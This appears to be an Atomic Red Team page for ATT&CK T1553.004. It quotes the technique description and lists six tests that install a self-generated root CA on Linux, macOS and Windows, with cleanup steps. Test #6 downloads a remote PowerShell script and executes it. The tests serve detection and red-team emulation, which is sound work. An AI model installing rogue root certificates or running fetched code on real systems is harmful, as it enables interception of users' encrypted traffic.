T1553.004 - Install Root Certificate

Description from ATT&CK

> Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
> Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

> Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide Adversary-in-the-Middle capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)
>
> Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)
>
> In macOS, the Ay MaMi malware uses `/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert` to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

Atomic Tests

Atomic Test #1 - Install root CA on CentOS/RHEL

Creates a root CA with openssl

Supported Platforms: Linux

auto_generated_guid: 9c096ec4-fd42-419d-a762-d64cc950627e

Inputs:

Name	Description	Type	Default Value
cert_filename	Path of the CA certificate we create	Path	rootCA.crt
key_filename	Key we create that is used to create the CA certificate	Path	rootCA.key

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
openssl genrsa -out #{key_filename} 4096
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/
cp #{cert_filename} /etc/pki/ca-trust/source/anchors/
update-ca-trust
```

Cleanup Commands:

```
rm /etc/pki/ca-trust/source/anchors/#{cert_filename}
update-ca-trust
```

Atomic Test #2 - Install root CA on Debian/Ubuntu

Creates a root CA with openssl

Supported Platforms: Linux

auto_generated_guid: 53bcf8a0-1549-4b85-b919-010c56d724ff

Inputs:

Name	Description	Type	Default Value
cert_filename	CA file name	Path	rootCA.crt
key_filename	Key we create that is used to create the CA certificate	Path	rootCA.key

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
mv #{cert_filename} /usr/local/share/ca-certificates
echo sudo update-ca-certificates
```

Dependencies: Run with `sh`!

Description: Verify the certificate exists. It generates if not on disk.

Check Prereq Commands:

```
if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/
```

Atomic Test #3 - Install root CA on macOS

Creates a root CA with openssl

Supported Platforms: macOS

auto_generated_guid: cc4a0b8c-426f-40ff-9426-4e10e5bf4c49

Inputs:

Name	Description	Type	Default Value
cert_filename	CA file name	Path	rootCA.crt
key_filename	Key we create that is used to create the CA certificate	Path	rootCA.key

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sudo security add-trusted-cert -d -r trustRoot -k "/Library/Keychains/System.keych
```

Dependencies: Run with `sh`!

Description: Verify the certificate exists. It generates if not on disk.

Check Prereq Commands:

```
if [ -f #{cert_filename} ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands:

```
if [ ! -f #{key_filename} ]; then openssl genrsa -out #{key_filename} 4096; fi;
openssl req -x509 -new -nodes -key #{key_filename} -sha256 -days 365 -subj "/C=US/
```

Atomic Test #4 - Install root CA on Windows

Creates a root CA with Powershell

Supported Platforms: Windows

auto_generated_guid: 76f49d86-5eb1-461a-a032-a480f86652f1

Inputs:

Name	Description	Type	Default Value
pfx_path	Path of the certificate	Path	rootCA.cer

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMac
Move-Item -Path $cert.PSPath -Destination "Cert:\LocalMachine\Root"
```

Cleanup Commands:

```
try {
   $cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalM
   Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Re
   Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore |
}
catch { }
```

Dependencies: Run with `powershell`!

Description: Verify the certificate exists. It generates if not on disk.

Check Prereq Commands:

```
if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation cer
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -Fi
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
```

Atomic Test #5 - Install root CA on Windows with certutil

Creates a root CA with certutil

Supported Platforms: Windows

auto_generated_guid: 5fdb1a7a-a93c-4fbe-aa29-ddd9ef94ed1f

Inputs:

Name	Description	Type	Default Value
pfx_path	Path of the certificate	Path	$env:Temp\rootCA2.cer

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
certutil -addstore my #{pfx_path}
```

Cleanup Commands:

```
try {
$cert = Import-Certificate -FilePath #{pfx_path} -CertStoreLocation Cert:\LocalMacl
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) -ErrorAction Ignore | Remo
Get-ChildItem Cert:\LocalMachine\Root\$($cert.Thumbprint) -ErrorAction Ignore | Re
} catch { }
```

Dependencies: Run with `powershell`!

Description: Certificate must exist at specified location (#{pfx_path})

Check Prereq Commands:

```
if (Test-Path #{pfx_path}) { exit 0 } else { exit 1 }
```

Get Prereq Commands:

```
$cert = New-SelfSignedCertificate -DnsName atomicredteam.com -CertStoreLocation ce
Export-Certificate -Type CERT -Cert  Cert:\LocalMachine\My\$($cert.Thumbprint) -Fi
Get-ChildItem Cert:\LocalMachine\My\$($cert.Thumbprint) | Remove-Item
```

Atomic Test #6 - Add Root Certificate to CurrentUser Certificate Store

The following Atomic test simulates adding a generic non-malicious certificate to the CurrentUser certificate store. This behavior generates a registry modification that adds the cloned root CA certificate in the keys outlined in the blog. Keys will look like - \SystemCertificates\CA\Certificates or

\SystemCertificates\Root\Certificates Reference: https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec

Supported Platforms: Windows

auto_generated_guid: ca20a3f1-42b5-4e21-ad3f-1049199ec2e0

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1553.(
```

Cleanup Commands:

```
Get-ChildItem -Path Cert:\ -Recurse | Where-Object { $_.Thumbprint -eq '1F3D38F280(
```